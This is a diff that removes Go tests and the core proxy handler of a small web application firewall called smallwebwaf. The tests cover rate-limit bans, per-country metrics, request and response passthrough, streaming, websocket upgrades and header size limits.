-	wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{window="minute"}`, 1)
-	wantMetric(t, metrics, `smallwebwaf_offences_total{kind="limit"}`, 1)
-	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit"}`, 1)
-	wantMetric(t, metrics, "smallwebwaf_active_bans", 1)
-	wantMetric(t, metrics, "smallwebwaf_permanent_bans", 0)
-
-	clk.advance(time.Hour)
-	wantMetric(t, s.scrape(scraper), "smallwebwaf_active_bans", 0)
-
-	// A limit broken again right after would ban for three hours, longer
-	// than SWWAF_MAX_BAN_DURATION, so the ban is permanent.
-	s.get(client, http.StatusOK, requestlog.ActionForward)
-	s.get(client, 0, requestlog.ActionRateLimited)
-
-	metrics = s.scrape(scraper)
-	wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{window="minute"}`, 2)
-	wantMetric(t, metrics, `smallwebwaf_offences_total{kind="limit"}`, 2)
-	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit"}`, 2)
-	wantMetric(t, metrics, "smallwebwaf_active_bans", 1)
-	wantMetric(t, metrics, "smallwebwaf_permanent_bans", 1)
-	// denied, client, and the scraper as of its earlier requests.
-	wantMetric(t, metrics, "smallwebwaf_tracked_clients", 3)
-}
-
-func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
-	t.Parallel()
-
-	const scraper = "192.0.2.200" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
-
-	s, clk, server := startWithClock(t, "", map[string]string{
-		metricsToken:        token,
-		adminToken:          adminSecret,
-		rateLimitExemptNets: scraper,
-	})
-
-	const admins = `smallwebwaf_bans_made_total{cause="admin"}`
-
-	wantMetric(t, s.scrape(scraper), admins, 0)
-
-	// As an admin's edit of bans.json that adds a ban is taken in.
-	server.Ledger.LoadEdit([]bans.Ban{{
-		Netblock: netip.MustParsePrefix(client + "/32"),
-		Start:    clk.Now(),
-	}})
-
-	wantMetric(t, s.scrape(scraper), admins, 1)
-
-	// And a ban made through the endpoint.
-	s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK)
-	wantMetric(t, s.scrape(scraper), admins, 2)
-}
-
-func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
-	t.Parallel()
-
-	const fromFR = "198.51.100.20"
-
-	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
-		_, _ = io.Copy(io.Discard, r.Body)
-		_, _ = io.WriteString(w, "hello")
-	})
-	env := map[string]string{
-		trustedProxies:  trustLocalhost,
-		metricsToken:    token,
-		metricsTopN:     "2",
-		deniedCountries: "kp",
-	}
-	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, env)
-
-	// The answers are kept before the requests, so that none waits for
-	// GeoJS.
-	server.GeoJS.Load([]lookup.Answer{
-		keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"),
-	})
-
-	lines := 0
-	send := func(from string, times, status int) {
-		t.Helper()
-
-		for range times {
-			req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))
-			req.Header.Set(forwardedFor, from)
-			wantStatus(t, do(t, req), status)
-
-			// Each is counted before the next is sent, so that the
-			// countries are ranked in the order sent.
-			lines++
-			out.requestLines(t, lines)
-		}
-	}
-
-	// With two countries of their own, the third is counted as other.
-	send(fromKP, 3, http.StatusForbidden)
-	send(fromDE, 2, http.StatusOK)
-	send(fromFR, 1, http.StatusOK)
-
-	metrics := scrape(t, addr)
-	lines++
-
-	wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="KP"}`, 3)
-	wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="DE"}`, 2)
-	wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="other"}`, 1)
-	wantMetric(t, metrics, `smallwebwaf_country_list_refusals_total{country="KP"}`, 3)
-	wantMetric(t, metrics, `smallwebwaf_country_request_bytes_total{country="KP"}`, 0)
-	wantMetric(t, metrics, `smallwebwaf_country_request_bytes_total{country="DE"}`, 6)
-	wantMetric(t, metrics, `smallwebwaf_country_response_bytes_total{country="KP"}`,
-		float64(3*len("Forbidden\n")))
-	wantMetric(t, metrics, `smallwebwaf_country_response_bytes_total{country="other"}`,
-		float64(len("hello")))
-	wantNoSeries(t, metrics, `smallwebwaf_country_requests_total{country="FR"}`)
-
-	// Once FR is busier than DE, it takes DE's place: its series counts
-	// from then on, and DE's is gone.
-	send(fromFR, 3, http.StatusOK)
-
-	metrics = scrape(t, addr)
-	wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="KP"}`, 3)
-	wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="FR"}`, 2)
-	wantMetric(t, metrics, `smallwebwaf_country_requests_total{country="other"}`, 2)
-	wantNoSeries(t, metrics, `smallwebwaf_country_requests_total{country="DE"}`)
-	wantNoSeries(t, metrics, `smallwebwaf_country_request_bytes_total{country="DE"}`)
-}
-
-func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
-	t.Parallel()
-
-	geojs := httptest.NewServer(http.HandlerFunc(
-		func(w http.ResponseWriter, _ *http.Request) {
-			w.WriteHeader(http.StatusServiceUnavailable)
-		}))
-	t.Cleanup(geojs.Close)
-
-	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
-	addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
-		trustedProxies:  trustLocalhost,
-		metricsToken:    token,
-		deniedCountries: "kp",
-	})
-
-	// GeoJS fails, so the client counts as coming from an unknown country,
-	// which SWWAF_DENIED_COUNTRIES does not refuse.
-	req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
-	req.Header.Set(forwardedFor, fromDE)
-	wantStatus(t, do(t, req), http.StatusOK)
-
-	// The client stops waiting for GeoJS after a second, so GeoJS's
-	// failure can come after its request has ended.
-	deadline := time.Now().Add(waitLimit)
-	metrics := scrape(t, addr)
-
-	for metric(t, metrics, "smallwebwaf_geojs_failures_total") == 0 &&
-		time.Now().Before(deadline) {
-		time.Sleep(pollInterval)
-
-		metrics = scrape(t, addr)
-	}
-
-	wantMetric(t, metrics, "smallwebwaf_geojs_requests_total", 1)
-	wantMetric(t, metrics, "smallwebwaf_geojs_failures_total", 1)
-	wantMetric(t, metrics, "smallwebwaf_geojs_unanswered_total", 1)
-}
-
-// keptAnswer returns GeoJS's answer that the client at addr is in
-// country, given now.
-func keptAnswer(addr, country string) lookup.Answer {
-	now := time.Now()
-
-	return lookup.Answer{
-		Client: netip.MustParsePrefix(addr + "/32"), Country: country,
-		Answered: now, Used: now,
-	}
-}
-
-// scrape asks smallwebwaf at addr for the metrics, with the token, and
-// returns them.
-func scrape(t *testing.T, addr string) string {
-	t.Helper()
-
-	req := newRequest(t, http.MethodGet, addr, proxy.MetricsPath, http.NoBody)
-	req.Header.Set("Authorization", bearer)
-
-	got := do(t, req)
-	if got.status != http.StatusOK {
-		t.Fatalf("the metrics were answered %d", got.status)
-	}
-
-	return string(got.body)
-}
-
-// scrape asks for the metrics, with the token, from the client at from,
-// and returns them.
-func (s *sender) scrape(from string) string {
-	s.t.Helper()
-
-	_, metrics := s.requestWithHeader(from, proxy.MetricsPath, "Authorization: "+bearer,
-		http.StatusOK, requestlog.ActionAdmin)
-
-	return metrics
-}
-
-// metric returns the value of series in metrics, which are in the
-// Prometheus text format. series is a name and its labels in the order of
-// their names, such as smallwebwaf_offences_total{kind="limit"}. It fails
-// the test if there is no such series.
-func metric(t *testing.T, metrics, series string) float64 {
-	t.Helper()
-
-	for line := range strings.Lines(metrics) {
-		value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ")
-		if !found {
-			continue
-		}
-
-		number, err := strconv.ParseFloat(value, 64)
-		if err != nil {
-			t.Fatalf("%s has the value %q", series, value)
-		}
-
-		return number
-	}
-
-	t.Fatalf("no series %s in the metrics:\n%s", series, metrics)
-
-	return 0
-}
-
-// wantMetric checks the value of series in metrics, as metric reads it.
-func wantMetric(t *testing.T, metrics, series string, want float64) {
-	t.Helper()
-
-	got := metric(t, metrics, series)
-	if got != want {
-		t.Errorf("%s is %v, want %v", series, got, want)
-	}
-}
-
-// wantNoSeries checks that metrics have no series series.
-func wantNoSeries(t *testing.T, metrics, series string) {
-	t.Helper()
-
-	if strings.Contains(metrics, "\n"+series+" ") {
-		t.Errorf("there is a series %s", series)
-	}
-}
-
-// wantLimitHits checks that the metrics of smallwebwaf at addr count hits
-// requests that passed the size or time limit of the setting limit, with
-// no series for it when hits is 0.
-func wantLimitHits(t *testing.T, addr, limit string, hits int) {
-	t.Helper()
-
-	series := `smallwebwaf_size_and_time_limit_hits_total{limit="` + limit + `"}`
-	metrics := scrape(t, addr)
-
-	if hits == 0 {
-		wantNoSeries(t, metrics, series)
-
-		return
-	}
-
-	wantMetric(t, metrics, series, float64(hits))
-}

internal/proxy/passthrough_test.go

@@ -1,447 +0,0 @@
-package proxy_test
-
-import (
-	"bufio"
-	"bytes"
-	"errors"
-	"io"
-	"net/http"
-	"os"
-	"reflect"
-	"slices"
-	"strings"
-	"sync/atomic"
-	"testing"
-	"time"
-
-	"sneak.berlin/go/smallwebwaf/internal/config"
-	"sneak.berlin/go/smallwebwaf/internal/proxy"
-	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-)
-
-// A request target with an escaped slash and space in its path, and a
-// query with a parameter ReverseProxy cannot parse.
-const (
-	rawPath  = "/some%2Fpath/with%20space"
-	rawQuery = "b=2&a=1&bad=%zz;x"
-)
-
-// chunkSize is the size of each part of a body a test sends in parts.
-const chunkSize = 1 << 10
-
-var errNotStreamed = errors.New("the first part never reached the app")
-
-// appSaw is what the app received.
-type appSaw struct {
-	method string
-	target string
-	header http.Header
-	body   []byte
-}
-
-func TestPassesRequestAndAnswerUnchanged(t *testing.T) {
-	t.Parallel()
-
-	requestBody := bytes.Repeat([]byte("request body "), 8000)
-	answerBody := bytes.Repeat([]byte("answer body "), 8000)
-	saw := make(chan appSaw, 1)
-
-	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
-		body, _ := io.ReadAll(r.Body)
-		saw <- appSaw{r.Method, r.RequestURI, r.Header.Clone(), body}
-
-		w.Header().Set("X-App", "yes")
-		w.Header().Add("Set-Cookie", "a=1")
-		w.Header().Add("Set-Cookie", "b=2")
-		w.WriteHeader(http.StatusTeapot)
-		_, _ = w.Write(answerBody)
-	})
-	addr, out := startProxy(t, app.URL, nil)
-
-	req := newRequest(t, http.MethodPatch, addr, rawPath+"?"+rawQuery,
-		bytes.NewReader(requestBody))
-	req.Header.Add("X-Test", "one")
-	req.Header.Add("X-Test", "two")
-	req.Header.Set("User-Agent", "test-agent")
-
-	got := do(t, req)
-
-	wantAppSaw(t, <-saw, requestBody)
-	wantAnswer(t, got, answerBody)
-
-	line := out.requestLine(t)
-	wantLine(t, line, http.StatusTeapot, requestlog.ActionForward)
-	wantRequestFields(t, line, addr, len(requestBody), len(answerBody))
-}
-
-// wantAppSaw checks that the app received the test's request unchanged.
-func wantAppSaw(t *testing.T, saw appSaw, body []byte) {
-	t.Helper()
-
-	if saw.method != http.MethodPatch || saw.target != rawPath+"?"+rawQuery {
-		t.Errorf("app saw %s %s, want %s %s", saw.method, saw.target,
-			http.MethodPatch, rawPath+"?"+rawQuery)
-	}
-
-	if !slices.Equal(saw.header.Values("X-Test"), []string{"one", "two"}) {
-		t.Errorf("app saw X-Test %q", saw.header.Values("X-Test"))
-	}
-
-	if saw.header.Get("User-Agent") != "test-agent" {
-		t.Errorf("app saw User-Agent %q", saw.header.Get("User-Agent"))
-	}
-
-	if !bytes.Equal(saw.body, body) {
-		t.Errorf("app saw a body of %d bytes, want the %d sent",
-			len(saw.body), len(body))
-	}
-}
-
-// wantAnswer checks that the client received the app's answer unchanged.
-func wantAnswer(t *testing.T, got answer, body []byte) {
-	t.Helper()
-
-	wantStatus(t, got, http.StatusTeapot)
-
-	if got.header.Get("X-App") != "yes" {
-		t.Errorf("client got X-App %q", got.header.Get("X-App"))
-	}
-
-	if !slices.Equal(got.header.Values("Set-Cookie"), []string{"a=1", "b=2"}) {
-		t.Errorf("client got Set-Cookie %q", got.header.Values("Set-Cookie"))
-	}
-
-	if got.err != nil || !bytes.Equal(got.body, body) {
-		t.Errorf("client got %d bytes (%v), want the %d the app sent",
-			len(got.body), got.err, len(body))
-	}
-}
-
-// wantRequestFields checks the log line's fields about the request. Its
-// time, its id and its timings are checked only for being there.
-func wantRequestFields(t *testing.T, line logLine, host string, sent, received int) {
-	t.Helper()
-
-	hostname, _ := os.Hostname()
-
-	want := withTimings(line, requestlog.Line{
-		Type: requestType, Time: line.Time, Instance: hostname,
-		ClientIP: localhost, Method: http.MethodPatch, Scheme: plain, Host: host,
-		Path: rawPath, Query: rawQuery, Protocol: protocol,
-		Status: http.StatusTeapot, RequestBytes: int64(sent),
-		ResponseBytes: int64(received), UserAgent: "test-agent",
-		RequestID: line.RequestID, PeerIP: localhost, ClientGroup: localhost + "/32",
-		ContentLength: int64(sent), ResponseContentType: "text/plain; charset=utf-8",
-		UpstreamStatus: http.StatusTeapot, Action: requestlog.ActionForward,
-		Counts: ratelimit.Counts{Minute: 1, Hour: 1, Day: 1},
-	})
-	if !reflect.DeepEqual(line.Line, want) {
-		t.Errorf("log line\n%+v\nwant\n%+v", line.Line, want)
-	}
-
-	_, err := time.Parse(time.RFC3339, line.Time)
-	if err != nil || line.RequestID == "" || line.DurationTotal <= 0 ||
-		line.DurationUpstreamTotal == nil || *line.DurationUpstreamTotal <= 0 {
-		t.Errorf("log line has time %q, request_id %q and durations %v and %v",
-			line.Time, line.RequestID, line.DurationTotal,
-			line.fields["duration_upstream_total"])
-	}
-}
-
-func TestStreamsTheRequestBody(t *testing.T) {
-	t.Parallel()
-
-	chunk := bytes.Repeat([]byte("x"), chunkSize)
-	firstArrived := make(chan struct{})
-
-	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
-		first := make([]byte, len(chunk))
-
-		_, err := io.ReadFull(r.Body, first)
-		if err != nil {
-			return
-		}
-
-		close(firstArrived)
-
-		rest, _ := io.ReadAll(r.Body)
-		_, _ = w.Write(rest)
-	})
-	addr, _ := startProxy(t, app.URL, nil)
-
-	body, writer := io.Pipe()
-
-	go func() {
-		_, _ = writer.Write(chunk)
-
-		select {
-		case <-firstArrived:
-			_, _ = writer.Write(chunk)
-			_ = writer.Close()
-		case <-time.After(waitLimit):
-			_ = writer.CloseWithError(errNotStreamed)
-		}
-	}()
-
-	got := do(t, newRequest(t, http.MethodPost, addr, "/upload", body))
-	if got.err != nil || !bytes.Equal(got.body, chunk) {
-		t.Errorf("app read %d bytes after the first part (%v), want %d",
-			len(got.body), got.err, len(chunk))
-	}
-}
-
-func TestStreamsTheAnswerBody(t *testing.T) {
-	t.Parallel()
-
-	chunk := bytes.Repeat([]byte("y"), chunkSize)
-	firstArrived := make(chan struct{})
-
-	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
-		_, _ = w.Write(chunk)
-		_ = http.NewResponseController(w).Flush()
-
-		select {
-		case <-firstArrived:
-			_, _ = w.Write(chunk)
-		case <-time.After(waitLimit):
-		}
-	})
-	addr, _ := startProxy(t, app.URL, nil)
-
-	req := newRequest(t, http.MethodGet, addr, "/download", http.NoBody)
-
-	res, err := newClient(t).Do(req)
-	if err != nil {
-		t.Fatalf("request: %v", err)
-	}
-
-	first := make([]byte, len(chunk))
-	_, err = io.ReadFull(res.Body, first)
-
-	close(firstArrived)
-
-	got := readAnswer(res)
-	if err != nil || got.err != nil || !bytes.Equal(got.body, chunk) {
-		t.Errorf("client read %d bytes after the first part (%v, %v), want %d",
-			len(got.body), err, got.err, len(chunk))
-	}
-}
-
-func TestUpgradedConnectionOutlastsTheTimeouts(t *testing.T) {
-	t.Parallel()
-
-	app := startApp(t, echoAfterUpgrade)
-	addr, out := startProxy(t, app.URL, map[string]string{
-		clientRequestTimeout:    shortTimeoutSetting,
-		clientResponseTimeout:   shortTimeoutSetting,
-		upstreamRequestTimeout:  shortTimeoutSetting,
-		upstreamResponseTimeout: shortTimeoutSetting,
-	})
-
-	conn := dial(t, addr)
-	send(t, conn, "GET /socket HTTP/1.1\r\nHost: app\r\n"+
-		"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
-
-	reader := bufio.NewReader(conn)
-
-	res, err := http.ReadResponse(reader, nil)
-	if err != nil {
-		t.Fatalf("read the answer to the upgrade: %v", err)
-	}
-
-	answered := time.Now()
-	_ = res.Body.Close()
-
-	if res.StatusCode != http.StatusSwitchingProtocols {
-		t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
-	}
-
-	// Every timeout started before the upgrade was answered, the response
-	// timeouts last, at the end of the request: wait until just past
-	// shortTimeout after the answer was read, then use the connection.
-	time.Sleep(time.Until(answered.Add(shortTimeout + 100*time.Millisecond)))
-	send(t, conn, "still here\n")
-
-	echoed, err := reader.ReadString('\n')
-	if err != nil || echoed != "still here\n" {
-		t.Errorf("echo %q (%v), want %q", echoed, err, "still here\n")
-	}
-
-	_ = conn.Close()
-
-	wantLine(t, out.requestLine(t), http.StatusSwitchingProtocols,
-		requestlog.ActionForward)
-}
-
-// echoAfterUpgrade is an app that switches protocols on request, and then
-// sends back each line it receives.
-func echoAfterUpgrade(w http.ResponseWriter, r *http.Request) {
-	if r.Header.Get("Upgrade") != "websocket" {
-		http.Error(w, "not an upgrade", http.StatusBadRequest)
-
-		return
-	}
-
-	conn, buffered, err := http.NewResponseController(w).Hijack()
-	if err != nil {
-		return
-	}
-
-	defer func() {
-		_ = conn.Close()
-	}()
-
-	_, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" +
-		"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
-	_ = buffered.Flush()
-
-	for {
-		line, err := buffered.ReadString('\n')
-		if err != nil {
-			return
-		}
-
-		_, _ = buffered.WriteString(line)
-		_ = buffered.Flush()
-	}
-}
-
-func TestServerHasTheDefaultLimits(t *testing.T) {
-	t.Parallel()
-
-	cfg, err := config.FromEnvironment(func(string) (string, bool) { return "", false })
-	if err != nil {
-		t.Fatalf("default settings: %v", err)
-	}
-
-	server := proxy.New(proxy.Params{
-		Config:     cfg,
-		RequestLog: io.Discard,
-		ProcessLog: requestlog.NewProcessLogger(io.Discard),
-	})
-
-	if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
-		server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
-		t.Errorf("server listens on %q with header limit %d, idle time %s and "+
-			"header timeout %s", server.Addr, server.MaxHeaderBytes,
-			server.IdleTimeout, server.ReadHeaderTimeout)
-	}
-}
-
-func TestRefusesHeadersOverTheLimit(t *testing.T) {
-	t.Parallel()
-
-	for _, tc := range []struct {
-		name  string
-		env   map[string]string
-		limit int
-	}{
-		{"by default", nil, 32 << 10},
-		{"as set", map[string]string{clientHeaderMaxBytes: "8K"}, 8 << 10},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			t.Parallel()
-
-			var calls atomic.Int32
-
-			app := startApp(t, func(http.ResponseWriter, *http.Request) {
-				calls.Add(1)
-			})
-			addr, _ := startProxy(t, app.URL, tc.env)
-
-			// size counts every byte of the request: the request line,
-			// the headers and the blank line that ends them.
-			const (
-				start = "GET / HTTP/1.1\r\nHost: app\r\nX-Large: "
-				end   = "\r\n\r\n"
-			)
-
-			for _, sent := range []struct{ size, want int }{
-				{tc.limit, http.StatusOK},
-				{tc.limit + 1, http.StatusRequestHeaderFieldsTooLarge},
-			} {
-				conn := dial(t, addr)
-				send(t, conn,
-					start+strings.Repeat("a", sent.size-len(start)-len(end))+end)
-				wantStatus(t, readResponse(t, conn), sent.want)
-			}
-
-			if calls.Load() != 1 {
-				t.Errorf("the app was called %d times, want once", calls.Load())
-			}
-		})
-	}
-}
-
-func TestAnswers502WhenTheAppCannotBeReached(t *testing.T) {
-	t.Parallel()
-
-	// No test can listen on port 1: listening on port 0 gets one from 32768 up.
-	addr, out := startProxy(t, "http://"+localhost+":1", nil)
-
-	wantStatus(t, get(t, addr, "/"), http.StatusBadGateway)
-
-	line := out.requestLine(t)
-	wantLine(t, line, http.StatusBadGateway, requestlog.ActionUpstreamError)
-
-	// There never was a connection to the app, nor an answer from it.
-	wantTimings(t, line, "duration_total", "duration_checks",
-		"duration_upstream_total")
-
-	logged := slices.ContainsFunc(out.lines(t), func(line map[string]any) bool {
-		return line["type"] == "process" && line["msg"] == "request to the app failed"
-	})
-	if !logged {
-		t.Errorf("no process line says the request to the app failed")
-	}
-}
-
-func TestLogsAnAnswerThatBrokeOff(t *testing.T) {
-	t.Parallel()
-
-	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
-		_, _ = io.WriteString(w, "the first part")
-		_ = http.NewResponseController(w).Flush()
-
-		panic(http.ErrAbortHandler) // drops the connection mid-answer
-	})
-	addr, out := startProxy(t, app.URL, nil)
-
-	got := get(t, addr, "/")
-	if string(got.body) != "the first part" || !errors.Is(got.err, io.ErrUnexpectedEOF) {
-		t.Errorf("client read %q (%v), want the first part cut off", got.body, got.err)
-	}
-
-	wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionUpstreamError)
-}
-
-func TestLogsAClientThatWentAway(t *testing.T) {
-	t.Parallel()
-
-	arrived := make(chan struct{})
-
-	app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
-		close(arrived)
-		<-r.Context().Done()
-	})
-	addr, out := startProxy(t, app.URL, nil)
-
-	conn := dial(t, addr)
-	send(t, conn, "GET /slow HTTP/1.1\r\nHost: app\r\n\r\n")
-
-	select {
-	case <-arrived:
-	case <-time.After(waitLimit):
-		t.Fatal("the request never reached the app")
-	}
-
-	_ = conn.Close()
-
-	line := out.requestLine(t)
-	if !line.Aborted || line.Status != 0 || line.Action != requestlog.ActionForward {
-		t.Errorf("log line has aborted %v, status %d and action %q, "+
-			"want true, 0 and %q",
-			line.Aborted, line.Status, line.Action, requestlog.ActionForward)
-	}
-}

internal/proxy/proxy.go

@@ -1,208 +0,0 @@
-// Package proxy passes each request to the app and the app's answer back,
-// unchanged, within the size and time limits, and writes one request log
-// line for each request.
-package proxy
-
-import (
-	"io"
-	"log"
-	"log/slog"
-	"net/http"
-	"strings"
-	"time"
-
-	"sneak.berlin/go/smallwebwaf/internal/bans"
-	"sneak.berlin/go/smallwebwaf/internal/config"
-	"sneak.berlin/go/smallwebwaf/internal/lookup"
-	"sneak.berlin/go/smallwebwaf/internal/metrics"
-	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-	"sneak.berlin/go/smallwebwaf/internal/rules"
-)
-
-// How smallwebwaf keeps connections to the app open between requests.
-const (
-	appIdleConns       = 100
-	appIdleConnTimeout = 90 * time.Second
-)
-
-// adminPrefix starts the path of every request for smallwebwaf itself,
-// which never reaches the app.
-const adminPrefix = "/_smallwebwaf/"
-
-// HealthPath is smallwebwaf's health endpoint, which the container's
-// health check asks.
-const HealthPath = "/_smallwebwaf/healthz"
-
-// MetricsPath is where the metrics are, for a request that carries
-// SWWAF_METRICS_TOKEN.
-const MetricsPath = "/_smallwebwaf/metrics"
-
-// BansPath is where an admin lists and adds bans, and, followed by / and
-// a client's address, lifts them, with SWWAF_ADMIN_TOKEN.
-const BansPath = "/_smallwebwaf/bans"
-
-// ClientsPath is where an admin asks what smallwebwaf knows of a client,
-// by the client's address after it, with SWWAF_ADMIN_TOKEN.
-const ClientsPath = "/_smallwebwaf/clients/"
-
-// Params are what New needs.
-type Params struct {
-	Config *config.Config
-	// RequestLog receives one JSON line per request.
-	RequestLog io.Writer
-	// ProcessLog receives the process's own messages.
-	ProcessLog *slog.Logger
-	// GeoJSURL is where clients' countries are looked up, normally
-	// lookup.URL. GeoJS is asked only while a country list is set.
-	GeoJSURL string
-	// Now tells the time by which requests are counted for the rate
-	// limits, bans are made and run out, and GeoJS's answers are kept,
-	// normally time.Now in UTC, the time the state files give.
-	Now func() time.Time
-	// Rules are the rule files' rules, which each request is checked
-	// against.
-	Rules *rules.Files
-}
-
-// Server is the server smallwebwaf runs, with the parts of the proxy
-// whose state the state files keep, and the metrics.
-type Server struct {
-	*http.Server
-
-	Ledger  *bans.Ledger
-	Limiter *ratelimit.Limiter
-	GeoJS   *lookup.GeoJS
-	Metrics *metrics.Metrics
-}
-
-// New returns the server smallwebwaf runs: each request it reads passes
-// through the proxy. Go's server itself refuses a request line and
-// headers over SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES, with 431, closes a
-// connection idle for SWWAF_CLIENT_IDLE_TIMEOUT, and applies
-// SWWAF_CLIENT_REQUEST_TIMEOUT while the headers arrive; the proxy
-// applies the timeouts and size limits from then on.
-func New(params Params) *Server {
-	errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
-	m := metrics.New(params.Config.MetricsTopN)
-	h := &handler{
-		config:     params.Config,
-		requestLog: params.RequestLog,
-		processLog: params.ProcessLog,
-		errorLog:   errorLog,
-		transport:  newTransport(),
-		now:        params.Now,
-		metrics:    m,
-		limiter: ratelimit.New(ratelimit.Limits{
-			PerMinute: params.Config.RateLimitPerMinute,
-			PerHour:   params.Config.RateLimitPerHour,
-			PerDay:    params.Config.RateLimitPerDay,
-		}),
-		ledger: bans.New(bans.Rules{
-			LimitBanDuration:     params.Config.LimitBanDuration,
-			LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
-			MaxBanDuration:       params.Config.MaxBanDuration,
-			AttackBanDuration:    params.Config.AttackBanDuration,
-			MaxBans:              params.Config.MaxBans,
-		}),
-		geojs: lookup.New(lookup.Params{
-			URL:        params.GeoJSURL,
-			Now:        params.Now,
-			ProcessLog: params.ProcessLog,
-			Metrics:    m,
-		}),
-		rules: params.Rules,
-	}
-	m.AddBansAndClients(h.ledger, h.limiter, params.Now)
-	m.AddRules(params.Rules)
-
-	return &Server{
-		Server: &http.Server{
-			Addr:              params.Config.ListenAddr,
-			Handler:           h,
-			ReadHeaderTimeout: params.Config.ClientRequestTimeout,
-			// Off is an IdleTimeout of 0, which Go's server replaces with
-			// ReadTimeout: no limit, as long as ReadTimeout stays unset.
-			IdleTimeout: params.Config.ClientIdleTimeout,
-			// Go's server reads 4 KiB past MaxHeaderBytes before it
-			// refuses, so the limit a client meets is the setting.
-			MaxHeaderBytes: int(params.Config.ClientRequestHeaderMaxBytes - 4<<10),
-			ErrorLog:       errorLog,
-		},
-		Ledger:  h.ledger,
-		Limiter: h.limiter,
-		GeoJS:   h.geojs,
-		Metrics: m,
-	}
-}
-
-// handler is the proxy. It holds what every request shares; what belongs
-// to one request is in a request.
-type handler struct {
-	config     *config.Config
-	requestLog io.Writer
-	processLog *slog.Logger
-	errorLog   *log.Logger
-	transport  http.RoundTripper
-	now        func() time.Time
-	metrics    *metrics.Metrics
-	limiter    *ratelimit.Limiter
-	ledger     *bans.Ledger
-	geojs      *lookup.GeoJS
-	rules      *rules.Files
-}
-
-// newTransport returns what carries requests to the app. It never goes
-// through a proxy named in the environment, and leaves the app's answers
-// compressed or not as the app sent them.
-func newTransport() *http.Transport {
-	return &http.Transport{
-		MaxIdleConns:        appIdleConns,
-		MaxIdleConnsPerHost: appIdleConns,
-		IdleConnTimeout:     appIdleConnTimeout,
-		DisableCompression:  true,
-	}
-}
-
-// ServeHTTP handles one request: it works out the client, runs the
-// checks, passes the request to the app and the answer back within the
-// limits, or answers it itself if it is for smallwebwaf, and writes the
-// request's log line.
-func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
-	rq := h.newRequest(w, r)
-	defer rq.finish()
-
-	// The health endpoint is answered at once, before any check, so that
-	// a health checker is never refused. It does not ask the app.
-	if r.Method == http.MethodGet && r.URL.Path == HealthPath {
-		rq.line.Action = requestlog.ActionAdmin
-		// Set here rather than left to Go's server, which would set it only
-		// after the log line has taken the response's headers.
-		rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
-		_, _ = io.WriteString(rq.out, "ok\n")
-
-		return
-	}
-
-	// Once the request has ended, before its log line is written.
-	defer rq.addToHistory()
-
-	refused := rq.check(r.Context())
-	rq.checked = time.Now()
-
-	if refused != nil {
-		rq.answer(*refused)
-
-		return
-	}
-
-	// A request for smallwebwaf itself is answered where another would be
-	// passed to the app, so that it goes through every check first.
-	if strings.HasPrefix(r.URL.Path, adminPrefix) {
-		rq.answerAdmin()
-
-		return
-	}
-
-	rq.forward(r.Context())
-}

internal/proxy/proxy_test.go

@@ -1,405 +0,0 @@
-package proxy_test
-
-import (
-	"bufio"
-	"bytes"
-	"encoding/json"
-	"io"
-	"maps"
-	"net"
-	"net/http"
-	"net/http/httptest"
-	"strings"
-	"sync"
-	"testing"
-	"time"
-
-	"sneak.berlin/go/smallwebwaf/internal/config"
-	"sneak.berlin/go/smallwebwaf/internal/proxy"
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-	"sneak.berlin/go/smallwebwaf/internal/rules"
-)
-
-const (
-	// shortTimeout is what a test sets a timeout to, to see it run out.
-	// It starts before the test has set up its case, such as an upgrade
-	// or the app's buffers filling, so it is as long as the hold-up of the
-	// test process that wantTimedOut allows: a shorter one can run out
-	// first on a busy host.
-	shortTimeout = waitLimit / 2
-	// longTimeoutSetting is a timeout that does not run out in a test.
-	longTimeoutSetting = "1m"
-	// waitLimit bounds how long a test waits for what should happen.
-	waitLimit = 10 * time.Second
-	// pollInterval is how often a test looks for a log line.
-	pollInterval = 10 * time.Millisecond
-	// localhost is where every test server listens, and so the address
-	// smallwebwaf sees each test's requests come from.
-	localhost = "127.0.0.1"
-	// requestType is the type that marks a request log line.
